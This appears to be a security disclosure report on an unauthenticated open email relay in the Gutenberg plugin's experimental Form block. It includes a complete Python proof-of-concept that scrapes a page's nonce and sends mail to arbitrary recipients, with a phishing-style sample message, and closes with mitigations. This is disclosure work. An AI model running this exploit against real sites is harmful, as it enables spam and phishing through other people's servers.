WordPress · Report #3460138
Open Email Relay on WordPress Gutenberg Plugin via formAction parameter leads to phishing and spam campaigns
How it was found
Description:
The Gutenberg plugin version 22.2.0 contains an experimental Form block (core/form) that exposes an unauthenticated AJAX endpoint allowing arbitrary attackers to relay emails through the WordPress site to any recipient. This vulnerability enables attackers to use the WordPress site as an open relay for spam/phishing campaigns, potentially damaging email reputation and facilitating targeted phishing attacks.
The vulnerability exists because:
- The form view script embeds sensitive parameters (
nonce,ajaxUrl,action) in a publicly accessible script tag - The AJAX handler
wp_block_form_email_submitis registered for both authenticated (wp_ajax_*) and unauthenticated (wp_ajax_nopriv_*) requests - The handler trusts the client-supplied
formActionparameter without validation - No rate limiting or sender verification is enforced
Asset Identification
Asset Type: Source Code Asset Name: WordPress Gutenberg Plugin Asset URL: https://github.com/WordPress/gutenberg Version: 22.2.0
Vulnerable Files:
packages/block-library/src/form/index.php- Server-side form handlerlib/experimental/blocks.php- Nonce/credentials exposure
Vulnerable Endpoint:
- AJAX action:
wp_block_form_email_submit - Handler function:
gutenberg_block_core_form_send_email() - Registration:
wp_ajax_nopriv_wp_block_form_email_submit(unauthenticated)
Technical Details
Vulnerable Component: build/scripts/block-library/form.php and lib/experimental/blocks.php
Root Cause:
// In build/scripts/block-library/form.php (lines 103-104):
add_action( 'wp_ajax_wp_block_form_email_submit', 'gutenberg_block_core_form_send_email' );
add_action( 'wp_ajax_nopriv_wp_block_form_email_submit', 'gutenberg_block_core_form_send_email' );
The nopriv registration allows unauthenticated requests. The handler extracts formAction from POST data and uses it directly:
// Line 92-96:
$result = wp_mail(
str_replace( 'mailto:', '', $params['formAction'] ),
__( 'Form submission' ),
$content
);
Data Exposure:
The form view script module (lib/experimental/blocks.php lines 129-131) injects credentials into the page:
$data['nonce'] = wp_create_nonce( 'wp-block-form' );
$data['ajaxUrl'] = admin_url( 'admin-ajax.php' );
$data['action'] = 'wp_block_form_email_submit';
These appear in the HTML as:
<script type="application/json" id="wp-script-module-data-@wordpress/block-library/form/view">
{"nonce":"abc123...","ajaxUrl":"http://site/wp-admin/admin-ajax.php","action":"wp_block_form_email_submit"}
</script>
Steps To Reproduce:
Prerequisites
- WordPress site with Gutenberg 22.2.0 plugin installed
- Form block enabled (Admin → Gutenberg → Experiments → "Blocks: add Form and input blocks")
- At least one public page/post containing a Form block
- Python 3.10+ with
requestslibrary (pip install requests)
Setup (for demonstration)
- Start MailHog (for email capture in testing environment):
docker run -d -p 1025:1025 -p 8025:8025 mailhog/mailhog
-
Enable Form Block in WordPress:
- Navigate to: Admin Dashboard → Gutenberg → Experiments
- Enable: "Blocks: add Form and input blocks"
- Click "Save Changes"
-
Configure Mail Transport (for demo only):
- Install WP Mail SMTP plugin
- Configure SMTP: host
127.0.0.1, port1025, no authentication - This routes all mail to MailHog for observation
Exploitation Script
Save as poc_form_relay.py:
"""
PoC: Unauthenticated email relay via Gutenberg Form block
Gutenberg plugin 22.2.0 - CVE-TBD
"""
import argparse
import json
import re
import sys
from urllib.parse import urljoin
import requests
SCRIPT_ID = "wp-script-module-data-@wordpress/block-library/form/view"
def extract_settings(html):
"""Extract nonce/action/ajaxUrl from the public script tag"""
match = re.search(
rf'id="{re.escape(SCRIPT_ID)}"\s*>\s*(?P<data>{{.*?}})\s*</script>',
html, re.S
)
if not match:
return None
try:
return json.loads(match.group("data"))
except json.JSONDecodeError:
return None
def parse_kv_pairs(pairs):
"""Parse key=value field arguments"""
parsed = {}
for item in pairs:
if "=" not in item:
raise ValueError(f"Invalid field '{item}', expected key=value")
key, value = item.split("=", 1)
parsed[key.strip()] = value
return parsed
def main():
parser = argparse.ArgumentParser(
description="Gutenberg Form unauthenticated mail relay PoC"
)
parser.add_argument("--page", required=True,
help="Page URL containing the Gutenberg form")
parser.add_argument("--to", required=True,
help="Target email address")
parser.add_argument("--field", action="append", default=[],
help="Field key=value (repeatable)")
parser.add_argument("--insecure", action="store_true",
help="Disable TLS verification")
args = parser.parse_args()
fields = parse_kv_pairs(args.field) if args.field else {"message": "Test"}
session = requests.Session()
print("[+] Fetching target page to extract credentials...")
resp = session.get(args.page, timeout=15, verify=not args.insecure)
if not resp.ok:
print(f"[!] Failed to fetch page: {resp.status_code}")
sys.exit(1)
settings = extract_settings(resp.text)
if not settings:
print("[!] Could not locate form settings in page HTML")
sys.exit(1)
ajax_url = urljoin(args.page, settings.get("ajaxUrl", ""))
print(f"[+] Extracted AJAX endpoint: {ajax_url}")
print(f"[+] Extracted nonce: {settings.get('nonce', 'N/A')}")
payload = {
"_ajax_nonce": settings.get("nonce", ""),
"action": settings.get("action", "wp_block_form_email_submit"),
"_wp_http_referer": args.page,
"formAction": f"mailto:{args.to}",
}
payload.update(fields)
print(f"[+] Sending malicious form submission to {args.to}...")
post_resp = session.post(ajax_url, data=payload, timeout=15,
verify=not args.insecure)
print(f"[+] Response Status: {post_resp.status_code}")
try:
result = post_resp.json()
print(f"[+] Response: {result}")
if result.get("success"):
print("[✓] Email successfully relayed!")
except ValueError:
print(f"[!] Response text: {post_resp.text[:500]}")
if __name__ == "__main__":
main()
Execution
python3 poc_form_relay.py \
--page http://wordpress.local/contact-us/ \
--to [email protected] \
--field message="Urgent: Verify your account" \
--field subject="Security Alert"
Recommendations
-
Immediate Mitigation:
- Disable the experimental Form block: Admin → Gutenberg → Experiments → uncheck "Blocks: add Form and input blocks"
- Monitor mail logs for suspicious activity
-
Proper Fix (for plugin maintainers):
- Remove
noprivregistration: Only allow authenticated users to submit forms - Validate
formAction: Implement server-side allowlist for recipient addresses - Add rate limiting: Implement per-IP throttling on form submissions
- Add CAPTCHA: Require human verification for form submissions
- Remove credential exposure: Don't embed nonce in public script tags; generate nonce on form load via separate authenticated endpoint
- Remove